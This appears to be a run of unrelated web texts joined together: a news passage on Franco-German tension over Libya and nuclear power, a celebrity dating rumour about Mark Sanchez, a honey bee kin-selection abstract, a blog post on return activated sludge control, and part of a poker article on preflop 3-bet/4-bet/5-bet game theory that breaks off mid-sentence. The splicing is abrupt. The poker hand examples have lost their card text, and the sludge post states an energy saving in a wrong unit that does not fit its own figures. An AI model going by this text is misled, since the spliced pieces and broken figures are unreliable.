Minister Juppe said it was not the first time Germany and France had been at odds: "That has never put our fundamental solidarity in doubt." Europe Minister Laurent Wauquiez talked of the two countries having different views of the Libya issue. "Does this mean the end of Franco-German relations?" he asked. "Of course not!" He is obviously right, but the relationship between the two countries is hardly going to improve any time soon. Perhaps Sarkozy and Merkel can start the process of making up on Thursday, when they will meet in Brussels for the EU summit. Libya will take a back seat, with the final scope of the euro-zone rescue fund set to be top of the agenda. That, at least, is an area where Germany and France usually take a joint leading role. There will, however, be another issue up for discussion which could cause further division between the two countries: the consequences of the nuclear emergency in Japan. The chancellor has announced a joint Franco-German initiative on nuclear power plant security. Sarkozy made clear, however, that he does not agree with Merkel's sudden shutdowns of nuclear plants in Germany. "Phasing out nuclear power is not an option," he said. -Mark Sanchez has been spending a lot of time honing his quarterback game on the football field this offseason. And it appears that the Jets stud signal caller has also spent much of his spare time working on his dating game. After numerous connections to big time celebrities and supermodels, such as Kate Upton, over the past year, Sanchez is now rumored to be dating model and actress Eva Longoria, according to In Touch Magazine. Longoria and Sanchez were recently spotted shopping together at a Kings Super Market in Bedminster, New Jersey, where Sanchez owns a home. The couple could also be seen eating dinner and sipping some drinks at New York's Hotel Griffou a few nights later, although Longoria apparently tried to hide her identity by wearing a blonde wig to the restaurant. Longoria has been linked to other athletes in the past, after being married to Spurs guard Tony Parker for more than four years and reportedly dating Lakers guard Matt Barnes in the past few months as well. Sanchez' relationship with Upton was never confirmed, but the 25-year-old quarterback was spotted spending some late nights at the supermodel's apartment on occasion at the end of the 2011 NFL season. Click here to see some photos of Mark Sanchez's former fling, Kate Upton >> Photo via Facebook/Eva Longoria -Strong support for the theory of kin selection can come from predicting outcomes under circumstances of within-family conflict. Genes inherited from mothers (matrigenes) and fathers (patrigenes) usually work harmoniously in the offspring. However, kin selection theory predicts these genes may be in conflict over interactions among relatives in which they are unequally represented (half-siblings). In honey bees, patrigenes are predicted to favor daughters that lay eggs themselves rather than remaining sterile and rearing their half-sisters' offspring. We tested this prediction, using crosses of distinct genetic stocks. Workers displayed the reproductive characteristics of their paternal genomes, patrigene expression was higher in reproductive tissues, and this patrigene bias increased in reproductive workers. These results provide strong empirical support for kin selection theory. Abstract Sexual reproduction brings genes from two parents (matrigenes and patrigenes) together into one individual. These genes, despite being unrelated, should show nearly perfect cooperation because each gains equally through the production of offspring. However, an individual’s matrigenes and patrigenes can have different probabilities of being present in other relatives, so kin selection could act on them differently. Such intragenomic conflict could be implemented by partial or complete silencing (imprinting) of an allele by one of the parents. Evidence supporting this theory is seen in offspring–mother interactions, with patrigenes favoring acquisition of more of the mother's resources if some of the costs fall on half-siblings who do not share the patrigene. The kinship theory of intragenomic conflict is little tested in other contexts, but it predicts that matrigene–patrigene conflict may be rife in social insects. We tested the hypothesis that honey bee worker reproduction is promoted more by patrigenes than matrigenes by comparing across nine reciprocal crosses of two distinct genetic stocks. As predicted, hybrid workers show reproductive trait characteristics of their paternal stock, (indicating enhanced activity of the patrigenes on these traits), greater patrigenic than matrigenic expression, and significantly increased patrigenic-biased expression in reproductive workers. These results support both the general prediction that matrigene–patrigene conflict occurs in social insects and the specific prediction that honey bee worker reproduction is driven more by patrigenes. The success of these predictions suggests that intragenomic conflict may occur in many contexts where matrigenes and patrigenes have different relatednesses to affected kin. -In the third post of this blog series on the problems associated within the activated sludge process and how to control them Oliver Grievson is going to look at the Return Activated Sludge system. So what problems are seen and how can they be fixed? A particular one that I have seen and this especially on smaller activated sludge plants where there is little or no control there has been an issue with settlement. Now you can query the fact that what on earth has the amount that you re-circulate solids around the system got to do with the way in which the sludge settles and the answer is of course the floc loading within the start of the process especially in plants that do not tend to have an anoxic zone (particular the case with oxidation ditches). It is the variation from very high floc loading to very low floc loading that causes problems in sludge settlement The civil engineering solution would be too install an anoxic zone or in an oxidation ditch control aeration to create anoxic zones within the ditch (again an alternative method of control). The way of controlling this with instrumentation and control is to install a method of RAS pumping control. The second “problem” is that of energy consumption, not really a problem but after aeration pumping is the next highest energy consumer on activated sludge plant. The problems that I have seen regard on treatment works is on small treatment works where the rate of return is controlled by the level that a bellmouth is manually set at so as flow into the works varies so does the return rate. The tendency being to set the RAS too high (the bellmouth at a lower setting) as the settlement is poor (due to the lack of RAS control) and if flow rates increase (due to inclement weather) then solids will be lost to the environment. The other problem that I have seen is fixed speed return pumping, something that can be managed if the rate of flow to the pumping station managed but causes a problem if it isn’t This is particular the case on larger treatment works that have Archimedes screw pumps. Fortunately control systems can resolve both of these problems depending upon on what RAS system is in place on the treatment works and whether sludge is removed from the final tanks by pump or by bellmouth and how the sludge is returned to the treatment works but the general principle is the same. To define the problem and solve the first problem, that of inconsistent RAS causing settlement problems is relatively simple. In the UK at least if a treatment works has a permit to discharge to the environment it must have a flow meter measuring the flow, for control purposes of the treatment works the best position of this meter is measuring the treatment flow to the works (for a single secondary process works serial secondary process works). For the sake of this blog I am going to assume that the incoming flow is that received by the Activated Sludge Process. If not then the flow measured into the process needs to be measured. The flow measured by the flow meter can be used to ensure that the rate of return to the RAS return point or points (if the Eckenfelder floc loading is being used) is proportional to the incoming flow into the process. This gives the ability to stabilize the floc loading into the process and thus stabilize the process as a whole. In order to do this all that is needed is the incoming flow rate that should be there anyway and the measurement of the RAS flow. If these flow rates are stabilized so that they follow each other then the first problem can be resolved. This is not say that the flow rates have to equal each other, just be proportional to each. This is where the second problem, that of energy consumption, can be addressed but this also increases the amount of risk to the wastewater operator. If you have a system in place as described above so that the incoming flow and RAS flow are both measured then the simple way to control the process is to divide the RAS flow by the incoming flow and calculate the RAS ratio. As the ratio decreases the amount of RAS that is returned is lower and power savings are made. However as the RAS ratio decreases sludge blankets get thicker and deeper and as such it is advisable to measure the RAS solids and the sludge blanket level to mitigate the operational risk. These two instruments can also be used in other control systems, RAS solids in sludge wastage control (part I of this blog) and sludge blanket level in protecting the permit (part IV of this blog, next week). As the solids get thicker then there is also a risk that bellmouths will block so an alert limit on the thickness of the RAS. So what are the benefits, using the two examples I used earlier. The smaller treatment works which was an oxidation ditch the benefit of installing a control system was more for compliance purposes only. The treatment works had SSVI 3.5 concentrations of 220mL/g upon installation of the control system and stabilizing the floc loading the SSVI 3.5 concentrations dropped to 80mL/g and an extreme case and an extreme decrease but shows the benefits of installing a control system. The second case is a much larger treatment works where three screw pumps were returning the RAS to the activated sludge process. Examination of the flows and loads showed that only 1 of the screw pumps needed to be running for 16 hours of the day with the second pump running for the remaining 8 hours. The third screw pump was only needed as a standby pump. Considering that these pumps were rated at 80kW each the overall saving on a monthly basis for this particular case was about 440MW per month, a significant operational saving. In the next in the blog series I will examine what can be done on activated sludge plants to resolve some of the compliance issues that activated sludge plants cause and I will also attempt to sum up this series of blogs. Advertisements -1. Introduction For my first NLHE article for Donkr, I have chosen a topic that I know many new players find difficult, namely correct strategies for 3-bet/4-bet/5-bet preflop wars in NLHE 6-max. 1.1 Presenting the problem Against weak low limit opposition, we can get away with playing an almost completely value-based game. We 3-bet/4-bet/5-bet mainly for value, and it's not a big mistake to assume our opponents are doing the same. If we reraise as a bluff, we usually limit ourselves to the occasional 3-bet bluff. A value-based style with little bluffing works well at small stakes because our opponents use more or less the same strategy, and many of them execute it poorly. Of course, every now and then we run into aggressive players who are capable of reraising as a bluff, but there are plenty of fish that will pay off our straightforward game, even if we bluff much less than is game theoretically optimal. But let's say our Hero has built a bankroll by patiently grinding the low limits, and now he wants to take a stab at $200NL. He will now experience a lot more 3-betting, especially if he's out of position. For example: Example 1.1.1: We get 3-bet out of position $200NL 6-handed Hero ($200) raises to $7 with Straightforward, and although Hero expects to get bluffed some of the time, he really doesn't have any choice but to fold. It's correct that his hand can no longer be played for value, but as we shall see later, it's possible to turn it into a 4-bet bluff. At any rate, Hero plays on. The players behind him keep 3-betting him frequently when he is out of position, and Hero keeps folding weak hands to 3-bets. After a while, this hand occurs: Example 1.1.2: We get 3-bet out of position (again) $200NL 6-handed Hero ($200) raises to $7 with This is getting frustrating. Hero has a decent hand, but it's not strong enough to defend against a 3-bet from out of position, so Hero folds. But he is starting to feel exploited. If only he could get dealt a good hand and punish these bastards! What an inexperienced player now might do (as his frustration builds up more and more), is to make up his mind to fight back against the loose 3-bettors. But he doesn't quite know what to do, and therefore he will often use poor strategies, and the wrong types of hands!. Let's look at two common (and sub-optimal) ways to defend against 3-betting, out of position with 100 BB stacks: Example 1.1.3: We get 3-bet out of position (again) and we call $200NL 6-handed Hero ($200) raises til $7 with Flop: Hero ($176) checks, button ($176) bets $30, Hero folds. Hero is frustrated, but he doesn't see what else he could have done out of position with a hand of this type. Too strong to fold (at least in Hero's mind) against a loose 3-bettor, but not strong enough to 4-bet. Or? Hmmmmm .... Hero contemplates his next move, and soon another 3-bet pot occurs: Example 1.1.4: We get 3-bet out of position (again) and we 4-bet for value (or at least that's what we think we are doing) $200NL 6-handed Hero ($200) raises to $7 with Flop: Q T Turn: Q T 7 River: Q T 7 Q Hero tears his clothing and sprinkles ashes over his head. Damn!! What happened throughout this sequence of hands? OK, I made up this story, but it illustrates several of the problems an ABC low limit player faces when he moves up to tougher games. He will get 3-bet left and right, so he will have to fold a lot out of position (which is correct). He realizes he has to fight back to avoid getting run over (also correct), but he's not quite sure how to do it. So his attempts to counter the aggression are often poorly executed, frustrating and tilt-inducing. For example, Hero might start calling 3-bets out of position with hands he feels are too good to fold, but not strong enough to 4-bet for value. This leads to many miserable experiences like Example 1.3. Or he might start 4-betting medium/weak hands without a clear understanding of whether he is doing it for value (planning to call a 5-bet), or if he is bluffing (planning to fold to a 5-bet). What our inexperienced Hero might not realize, is that his opponents' loose 3-betting doesn't necessarily mean they are willing to splash around with lots of weak hands in 4-bet and 5-bet pots. When two good and aggressive NLHE-players engage in 3-bet/4-bet/5-bet warfare preflop, this is what usually happens: Both players operate with wide ranges, and all ranges have a significant percentage of bluffs in them, especially at the early stage (raising and 3-betting) Both players are willing to fold most of their bluffs (but not all of them), when their opponent reraises them back This results in ranges that start loose, but get more and more (but never completely) weighted towards value. And it's usually plain wrong to assume you can 4-bet a medium hand like AJs for value against a loose 3-bettor, and expect to be a favorite when he 5-bets all-in. Yes, AJs is a decent hand against the range that 3-bet you, but it's crushed by the range that 5-bets you, and it's your opponent who decides when the 5th bet goes in (and that rarely happens unless he has the goods). Therefore, if you decide on a frustrated whim to "take a stand" against an aggressive and competent 3-bettor with a hand like AJs, you will discover that in some mysterious way he almost always manages to come up with a better hand when you get all-in preflop. This has lead many an inexperienced NLHE player to lose his stack, since these players: Don't understand the roles different types of hands have in different types of ranges. First and foremost: Do I have a value hand that wants to get all-in, or do I have a bluff hand that I will fold to further aggression? Aren't willing to fold hands that are strong at the early stages, but turn into weak hands when Villain keeps reraising Let's look at Example 1.4 again. Hero open-raised AJs (correctly), and he got 3-bet. He then decided that his AJs was a good hand against Villain's 3-bet range (debatable, but not a big mistake), so he 4-bet for value (wrong!), planning to call a 5-bet all-in. Playing AJs for value after a 3-bet and going all-in with it was a big mistake. The 4-bet in itself was not a big mistake, since Villain has a lot of bluffs in his 3-betting range, and he will fold most of them to a 4-bet. So it's not a problem to 4-bet AJs as a bluff against a range full of 3-bet bluffs. But when Villain comes over the top with an all-in 5-bet, our AJs crumbles to dust (if Villain knows what he is doing). But our inexperienced Hero did not realize what had just happened when he got 5-bet, and he stuck with his plan of playing AJs for value against what he perceived to be a wide and weak range. The problem is that the range he faces after a 5-bet from a competent player isn't wide and weak, it's very narrow and very strong. Note what the real mistake was in this hand. 4-betting AJs against a wide range was not a big mistake in isolation, and neither was calling a 5-bet getting 2: 1. But the combination of 4-betting AJs + planning to always call a 5-bet, now that was a big mistake against a competent opponent. It caused Hero to invest his remaining 96.5bb stack as a huge underdog. The problem was, as mentioned previously, that his opponent controlled when the 5th bet went in, and Villain made sure he had a hand. Our goal for this article is to give Hero a set of tools he can use to comfortably counter preflop aggression when he is sitting as the raiser out of position. We'll base our work on Hero's opening ranges, and based on these, we can deduce defensive strategies against positional 3-bets. And we will use game theory to design these strategies in such a way that the 3-bettor can not exploit Hero in these scenarios. Our work on Hero's game theory optimal defensive strategies also gives us a set of optimal 3-betting strategies for his opponent, so we kill two birds with one stone. We have here talked mostly about the ills of getting 3-bet when sitting out of position, and this is what I feel inexperienced players find hardest to deal with. But the mirror image of this scenario, with us being the 3-bettor in position, is also worth discussing. These are easier scenarios to play, but we will benefit a lot from understanding optimal 3-bet/4-bet/5-bet dynamics also from this perspective. We'll learn how to construct optimal 3-betting ranges, based on the raiser's opening range, and we'll learn how to play against a 4-bet. Regardless of whether we're the raiser or the 3-bettor, we want to understand which hands we can (re)raise for value, and which hands we (re)raise as bluffs. And above all else, we want it to be 100% clear which of these two things we are doing before we engage in a 3-bet/4-bet/5-bet war preflop. 1.2 Our model and overall philosophy In this article we'll design so-called optimal strategy pairs for the raiser and the 3-bettor in the following scenario: - The raiser opens some range - A player behind him 3-bets - The raiser 4-bets or folds - The 3-bettor 5-bets, or folds to a 4-bet Note that the raiser is always out of position (e.g. UTG, MP, or CO), and that no other players interfere. We'll define a model for this scenario with 100bb stacks and standard bet sizing. Then we'll analyze our model, using mathematics and principles from game theory (but we'll keep it as simple as possible). We then construct game theory optimal(ish) strategy pairs for the raiser and the 3-bettor (one strategy for the raiser, and one matching strategy for the 3-bettor) that they can employ in their 3-bet/4-bet/5-bet wars. Both players are trying to play perfectly against the other, and both are assuming their opponent is trying to play perfectly as well. The two players now both zoom in on a perfect strategy, designed not to lose against their opponent's perfect strategy. And the result is a pair of strategies that are perfect against each other, and we have our optimal strategy pair. When we have learned these strategies, we have defensive (e.g. unexploitable) strategies we can use both as the raiser out of position, and as the 3-bettor in position. Using these optimal strategies guarantees that better players can't exploit us. They will also win against players who play poorly, although they will not win the maximum (if we want to exploit opponent leaks maximally, we have to deviate from optimal play ourselves, and use strategies that target specific leaks in our opponent's non-optimal strategies). Knowing optimal strategies also makes it easier to spot our opponents' mistakes (where we can define "mistake" as a deviation from optimal play). If we know what an opponent should have done if he had played optimally, we can conclude that he has a weakness in his game if he chooses to do something different. And we might be able to exploit these weaknesses and turn them into leaks for him. 1.3 Background material for the article Before we get started, I want to give credit to Cardrunners instructor Matthew Janda. During the spring of 2010 he published a 3-part video series Optimal Preflop Play I-III at Stoxpoker, which contains most of the theory we use in this article. This video series was inspiring and eye-opening, but sadly it became unavailable after Stoxpoker shut down in May 2010. Matt Janda is now a Cardrunners instructor, and he continues to produce game theory related videos. His old videos from Stoxpoker might get moved over to Cardrunners, and if that happens, I recommend you check them out. Without further ado, let's get started: 2. The mathematics behind optimal 3-/4-/5-betting with the raiser out of position I have chosen an approach where we first go through the necessary math and theory quickly, and then we apply it by constructing optimal strategy pairs for two scenarios: - The raiser in early position (UTG or MP) with a 15% opening range - The raiser in CO with a 25% opening range Lumping UTG and MP together under the label "EP" makes sense, since most players use very similar ranges for these two positions. The percentages we have chosen for EP and CO are typical TAG ranges that can be used under all game conditions. The exact ranges we use to illustrate the procedures aren't important. Our goal is that you learn to construct optimal strategy pair (one strategy for the raiser and one for the 3-bettor) based on your own opening ranges. And you will of course also be able to design optimal strategy pairs to use against specific opponents (not on the fly, but by doing a bit of analysis work between sessions). 2.1 Our model We use the following scenario: Alice is sitting with a 100bb stack in EP or CO, and she raises pot to 3.5bb with some opening range Bob is sitting in a position behind Alice with 100bb, and it's folded to him. Bob 3-bets pot to 12bb Alice either 4-bets to 27bb (a bit less than pot), or she folds Bob's response to Alice's 4-bets is to 5-bet all-in or fold Alice's response to Bob's all-in 5-bets is to call or fold Note that Alice doesn't defend against 3-bets by calling out of position. We could conceivably design a defense strategy where we fold weak hands, 4-bet strong hands, and call with medium hands, but this is not a good strategy out of position with 100bb stacks. You have poor implied odds (due to low stack/pot ratio and being out of position) when you call for postflop value with implied odds hands. And it's difficult to steal and outplay Villain when you are out of position. And what you absolutely cannot do, is to call and then play fit-or-fold postflop. It will be much more fold than fit, and you are simply burning money by letting Villain c-bet his way to riches and early retirement on your expense. With regard to Alice's choice of 4-bet size, it's standard to use 25-30bb (where full pot would be 37.5bb) with 100bb stacks. The logic behind this is that with 100bb stacks, we are putting Villain in a shove-or-fold scenario, also when we 4-bet a bit less than pot. His 3-bet bluffs will still fold, and his strong hands will still shove. So we win the same when he folds, but lose less on our bluffs when he doesn't fold. In other words: We risk less for the same reward when we're bluffing, and we don't lose anything when we're 4-betting for value. We simply choose 27bb as a representative value for a less-than-pot 4-bet, and the math won't change much if you use any number between 25bb and 30b instead. Here are a few assumptions/statements we will use: Bob knows Alice's opening range. Not necessarily all the hands in the range, but he knows the percentage of hands Alice opens Both Alice and Bob are trying to play perfectly, under the assumption that their opponent is also trying to play perfectly The worst hands in a bluffing range or calling range should be break even The last statement needs an explanation: When we're 3-betting/4-betting/5-betting as a bluff, we should not lose money on our bluffing hands, and the worst of them should be no worse than break even. The same goes for when we're calling for pot odds. This makes sense if you think about it. When we're making a play that loses money, we should stop doing it to increase our EV. Note that we're not concerned about the effects of deception when we work with game theory. We're only concerned with immediate EV. Also, if we're making money on all our bluffs or our calls, we can make even more money by bluffing more and calling more. So we keep adding bluffs and calling hands until our weakest hands are at the break even point, and then we stop. Conversely, if we're losing money on some of our bluffing or calling hands, we remove them from our ranges. Again, this results in our weakest bluffing/calling hands being no worse than break even. Under these assumptions, we'll find an optimal strategy pair with a raising strategy (including defense against a 3-bet and against a 5-bet) for Alice, and a 3-betting strategy (including defense against a 4-bet) for Bob. We'll find a unique strategy pair for each of Alice's positions (e.g. for each of her opening ranges). We'll soon see how these strategy pairs follow from Alice's opening range, but first, let's talk a bit about optimal strategy pairs: What is an optimal strategy pair? When our two players Alice and Bob are playing optimally against each other, Alice's strategy and Bob's strategy make up an optimal strategy pair. When both are playing optimally, neither of them can gain from changing to a different strategy. If one of them can gain from switching to another strategy, then the original strategy wasn't optimal. It's important to realize that a game theory optimal strategy doesn't try to maximize +EV against a random opponent. It's trying to maximize EV against an opponent who is also playing perfectly. Sometimes, this means the best result for both players is to break even. A game theory optimal strategy is first and foremost a defensive strategy, designed not to lose. However, an optimal strategy will win against players who are using non-optimal strategies. But If we see an opponent making big mistakes, we will win more by switching to an exploitative strategy, designed to exploit this opponent's specific leaks maximally. But by changing our strategy from optimal to exploitative, we are moving away from optimal play. By doing so, we are creating weaknesses in our strategy, and other players might be able to exploit those weaknesses (although they might not see them). But if the weak player we are trying to exploit has big leaks, this trade off will usually be worth it. The art of playing against fish and regs at the same time is to exploit the fish, while we're defending ourselves against the regs. Against very poor opponents, we use very exploitative strategies. Against players who are as good as us, or better, we can fall back on optimal strategies so that they can't exploit us. To balance these two goals well, we need to have an understanding of what optimal play is. Playing optimally (or, more likely, close to optimally) defends us against the good players, and understanding optimal play also makes it easier to spot mistakes in weak players (where "mistake" can be defined as deviating from optimal play). With these concepts at the back of our mind, we move on to the mathematics behind optimal strategies for raising, 3-betting, 4-betting, and 5-betting with 100bb stacks: 2.2 How opening ranges, 3-betting ranges, 4-betting ranges, and 5-betting ranges are connected mathematically We work our way through the raise/3-bet/4-bet/5-bet war, one step at a time, and construct all the mathematical tools we need. We jump back and forth between Alice and Bob, and we'll see how they influence each others' strategies when they both are trying to play perfectly against each other, assuming the other player is also trying to play perfectly. What is Alice's optimal 4-bet% The process starts with Alice raising some opening range known both to her and to Bob. When Bob 3-bets, Alice's most pressing concern is the following: Alice can't fold so much that she gives Bob an opportunity to make a profit by 3-bet bluffing any two cards So how often does Alice have to 4-bet? This follows from the pot odds Bob is getting on his 3-bet bluffs. There's 1.5 + 3.5 =5bb in the pot from the blinds and Alice's raise, and Bob 3-bets to 12bb to win this. Bob is then risking 12bb to win 5bb, and he's getting effective pot odds 5 : 12 on a 3-bet bluff. He then needs to win more than 12/(5 + 12) =70% to have a profitable bluff. So if Alice folds more than 70%, Bob will have an automatic profit by 3-bet bluffing any two. Alice needs to prevent this, so she has to 4-bet enough to make Bob's bluffs break even. Alice's optimal 4-betting strategy is therefore to 4-bet 30% of her opening range, and she will 4-bet a mix of value hands (planning to call a 5-bet) and bluffs (planing to fold to a 5-bet). We'll compute Alice's optimal value/bluff ratio in a moment, but first we have to find Bob's optimal ranges for 3-betting and 5-betting. These ranges follow from Alice's opening range: What is Bob's optimal value/bluff ratio in his 3-bet range? When Alice 4-bets to 27bb, she is risking 23.5bb (27bb minus he 3.5bb raise) more to win a 17bb pot (1.5bb from the blinds + Alice's 3.5bb raise + Bob's 12bb 3-bet). The effective pot odds for Alice's 4-bet bluffs are 17 : 23.5, and she can make a profit by 4-bet bluffing any two (of the hands she open-raised) if Bob folds his 3-betting hands more than 23.5/(23.5 + 17) =58%. Bob can't allow Alice to 4-bet bluff any two cards profitably, so he defends optimally by folding exactly 58% of the time, and 5-betting all-in (including some 5-bet bluffs as we shall soon see) 42% of the time. Therefore, 42% of Bob's 3-bets need to be value hands that he plans to 5-bet all-in (including some 5-bet bluffs). We now define a 3-bet for value as a 3-bet where we plan to 5-bet all-in after a 4-bet. If this is not our plan, we are making a 3-bet bluff that we will fold to a 4-bet. To make these percentages easy to remember, we round Bob's optimal 3-bet value/bluff ratio to 40/60. So now we know that 60% of Bob's 3-bets should be bluffs, and 40% should be for value (including some 5-bet bluffs). But we still don't know how many hands Bob should 3-bet overall. To find this number, we first have to find which hands Bob can 5-bet for value. What should Bob's 5-betting range look like? Bob first chooses the type of hands to 5-bet bluff with. He wants hands that have decent equity when called, and we can use Axs hands A5s-A2s for this purpose. Axs hands work as blockers against Alice's AA/AK (an ace in Bob's hand makes it less likely Alice has AA/AK), and they always have at least an overcard when Alice has another high pair. They also have straight and flush potential. Axs has minimum ~30% equity when we 5-bet and get called, even against a strong range, as shown below: So Bob will 5-bet a mix of true value hands and some Axs bluff hands, and he expects to have about 30% equity when his bluffs get called. So when he 5-bet bluffs and gets called, he will have ~30% equity in a 201.5bb pot where he invested 88bb with the 5-bet. Bob first 3-bet to 12, so the 5-bet is 88bb more. On average, Bob gets 0.30 x 201.5 =60bb back from the pot, so his net loss after 5-betting and getting called is 88 - 60 =28bb. The pot size before Bob's 5-bet is 40.5bb (1.5 from the blinds, + 27 from Alice's 4-bet + 12 from Bob's 3-bet). So Bob is effectively risking 28bb to win 40.5bb when he is 5-bet bluffing. The effective pot odds are 40.5 : 28, and Bob needs to win at least 28/(28 + 40.5) =40% to profit from 5-bet bluffing any two (or more precisely, any Axs hand, since we base our calculations on having ~30% equity when called). For Alice, this means she has to call a 5-bet 60% of the time to prevent Bob from making a profit by 5-betting any two. So Alice's 4-betting range has to contain 60% value hands and 40% bluff hands. Now we know everything we need to know about Alice's 4-betting range. She 4-bets 30% of her opening range, and she uses a 60/40 value/bluff ratio. We'll summarize Alice's total optimal strategy below, but first we'll find out how often Bob should 3-bet. We know which type of hands Bob should 5-bet bluff (Axs), and we know he should use a 40/60 value/bluff ratio (which, coincidentally is the opposite of the ratio for Alice's 4-bet range). The last piece of information we need is Bob's total 3-bet percentage in an optimal 3-betting strategy. We find the answer by observing that Bob should 5-bet bluff enough to make Alice's weakest value hands break even. He he bluffs more, Alice can gain by calling with more hands, and then Bob's strategy can't be optimal. And if he bluffs less, Alice can gain by folding more hands, and Bob's strategy can't be optimal in this case either. How many Axs hands we need to make Alice's weakest 5-bet calling hands break even varies with Alice's value range (60% of 30% of her opening range), which follows from her opening range. So we have to compute this result on a per-case basis, for every one of Alice's opening ranges. We'll give a quick example in the summary below, and the procedure will be thoroughly discussed later in the article. 2.3 Summary of Alice's optimal raising strategy We summarize everything we have learned about Alice's optimal strategy for raising, 4-betting and calling 5-bets: - She needs to 4-bet 30% of her opening range - Her 4-betting range should have a 60/40 value/bluff ratio So Alice's optimal strategy is: Alice open-raises some opening range When she gets 3-bet, she 4-bets 30% of her opening range with a 60/40 ratio between value 4-bets and bluff 4-bets Alice therefore 4-bets 0.60 x 30 =18% of her opening range for value and 0.40 x 30 =12% of her opening range as a bluff If Bob 5-bets all-in, Alice calls with all her value hands, and folds all her 4-bet bluffs So Alice's value hands are the top 18% of her opening range. For example, if she opens 15% from UTG, this corresponds to a value range of 0.18 x 0.15 =2.7% of all hands. This makes up 0.027 x 1326 =36 combos, e.g approximately the range {QQ+, AK} =34 combos. We'll use this value range example when we summarize Bob's optimal strategy below. And then we'll illustrate each strategy step thoroughly when we apply the theory to Alice's EP and CO openraises. 2.4 Summary of Bob's optimal 3-betting strategy We summarize everything we have learned about Bob's optimal strategy for 3-betting and 5-betting: Bob starts by finding which hands he can 3-bet for value, planning to 5-bet all-in against Alice's 4-bet value range. For this purpose, he needs hands that have at least 50% equity against Alice's value range Bob then adds enough Axs hands as 5-bet bluffs to make Alice's weakest value hands break even when calling Bob's total 5-bet range Bob's value hands and 5-bet bluffs are joined to a total value range (where value range =the range he 3-bets and 5-bets all-in) Finally, Bob chooses a 3-bet bluff range so that the ratio of his value hands (including 5-bet bluffs) to his bluff hands is 40/60 When Alice raises, Bob 3-bets his value range and his bluff range If Alice 4-bets, Bob 5-bets his value range all-in and folds his bluff range For example, if Alice raises 15% from the UTG, her optimal value range is {QQ+, AK} as shown previously. Bob chooses value hands that are at least 50% against this range, and his pure value range becomes {KK+}. Then he adds Axs hands as 5-bet bluffs until Alice's weakest value hands (QQ and AK) are break even against his total 5-bet range. Alice then calls her remaining 73 BB to win a 189.5 bb pot (1.5 from the blinds, 100 from Bob, 27 from Alice's 4-bet), so her pot odds are 128.5 : 73. She needs minimum 73(/128.5 + 73) =36% equity to profit from calling, so Bob makes sure her weakest value hands have against his 5-bet-range. Later in the article we'll show that Bob ends up with a total 5-bet range of {KK+, A5s, A4s} when Alice's value range is {QQ+, AK} This gives Bob {KK+, A5s, A4s} =20 value combos that he 3-bets, planning to 5-bet all-in. Then he picks hands to 3-bet bluff until he has a 40/60 ratio between value combos and bluff combos. Bob needs 60/40 =1.5 bluff combos for every value combo, so he will choose 1.5 x 20 =30 bluff combos against Alice's {QQ+, AK} value range. You should memorize both Alice's strategy and Bob's strategy until you know them cold. It's not really complicated at all. Just remember that Bob uses a 40/60 value/bluff ratio for his 3-bets, and Alice uses a 60/40 ratio for her 4-bets, and then you know the most of it. Value hands are per definition hands we plan to raise and reraise until we are all-in. Bluff hands are hands we plan to fold if our opponent reraises us back. We now begin the job of constructing optimal strategy pairs for Alice and Bob. First when Alice raises a 15% range from EP, and then when she raises a 25% range from CO. We'll do this thoroughly and methodically, so that you can learn the procedures inside out. I hope you'll see that these strategies aren't really complicated to construct and then apply at the table. 3. Optimal strategy pairs for raiser/3-bettor with an EP raiser out of position We'll now find the optimal strategy pair for Alice and Bob when Alice open-raises from early position (EP =UTG or MP), and it's folded to Bob in position. It's of course possible to vary EP opening ranges a lot, according to opponent tendencies and general game conditions. But the core strategy for a typical TAG is to open somewhere around 15% of his hands (plus/minus a couple of percentage points in both directions) from both EP positions, and slightly tighter from UTG than from MP. We'll construct all strategies/ranges with great detail for this scenario, so that there won't be any doubt about how to apply the theory. Then we'll move on to the scenario with Alice in CO, and do this quickly, with brief comments along the way. 3.1 Alice's optimal raising strategy in EP (UTG and MP) We assume Alice is opening with a ~15% EP range. Note that any 15'ish% EP-range will do, since our work is based on the numbers of hands in the range, and not the specific hands it contains. Obvious value hands like high pairs and AK have to be included, since these hands have a job to do in the ranges for 4-betting and calling 5-bets. But the exact mixture of medium and weak hands in Alice's range is irrelevant. We give Alice the following range: Alice's EP range 22+ ATs+ AJo+ KTs+ KQo QTs+ J9s+ T9s 98s 87s 76s 186 combos 14% We now place Bob somewhere with position on Alice. Alice open-raises and it's folded to Bob, who 3-bets. Both players want to play perfectly against the other, and both assume the other is also trying to play perfectly. Alice starts by defining her value range. This is per definition the hands she plans to 4-bet for value and then call a 5-bet with. She counts the total number of combos in her opening range (186), and she knows that she on average has to defend 30% of her total range against a 3-bet. She also knows that the optimal value/bluff ratio of her 4-betting range is 60/40. So she 4-bets 0.60 x 0.30 =18% of her opening range for value, and 0.40 x 0.30 =12% as a bluff. Alice then 4-bets 18% of the 186 combos for value, e.g. 0.18 x 186 =33 value combos. This corresponds almost exactly to the value range {QQ+, AK} =34 combos (a couple of combos too many or too few doesn't matter much). This is a standard value range from EP, also for players who haven't studied optimal raise/3-bet/4-bet/5-bet strategies. Now the 4-bet bluff range. These are the hands Alice 4-bets and then folds to a 5-bet. There are two ways to define the bluff 4-bet range: We can choose some specific bluff combos and always 4-bet them, or we can 4-bet all the non-value hands a certain % of the time. Let's illustrate both methods: Defining a 4-bet bluff range using the combo method If we choose specific bluff combos, we need 12% of 186 combos, e.g. 0.12 x 186 =22 bluff combos. For example, we might choose AQ (16) + JJ (6) which gives us exactly 22 combos. Or we can choose something different, since it doesn't matter what we use for bluffs when Bob either folds or 5-bets all-in. When Bob doesn't fold to our bluffs, he 5-bets, and we have to fold, so our 4-bet bluff hands never get to see a flop. And when they never get to see a flop, their postflop value is irrelevant. But note that a hand like AQ works as a blocker against Bob's premium hands (AA, AK, QQ). So when Alice uses AQ as a bluff, it will be less likely that Bob has a hand he can 5-bet for value. Keep this in mind if you are choosing specific hands to always use for 4-bet bluffing. Defining a 4-bet bluff range using the percentage method My preferred method, and also the easiest method to remember. We only need to remember one number, namely the static percentage Alice 4-bet bluffs her non-value hands. Let's find this percentage once and for all: Alice 4-bets 18% of her opening range for value, and she's left with 82% non-value hands she can use for 4-bet bluffing. We now choose to use all these hands a fixed percentage of the time, so that the effective total value/bluff ration is 60/40. We now want: value/bluff =60/40 18/82x =60/40 18/82x =1.5 18/82 =1.5x 0.22 =1.5x x =0.22/1.5 =0.15 =15% So we 4-bet bluff all non-value hands 15% of the time and fold them the remaining 85% of the time. Note that this percentage is universal for Alice. No matter what her opening range is, she can always use this percentage to obtain a 60/40 value bluff ratio for her 4-bets. Let's double-check to see that this works the way it should: When Alice has raised some opening range and 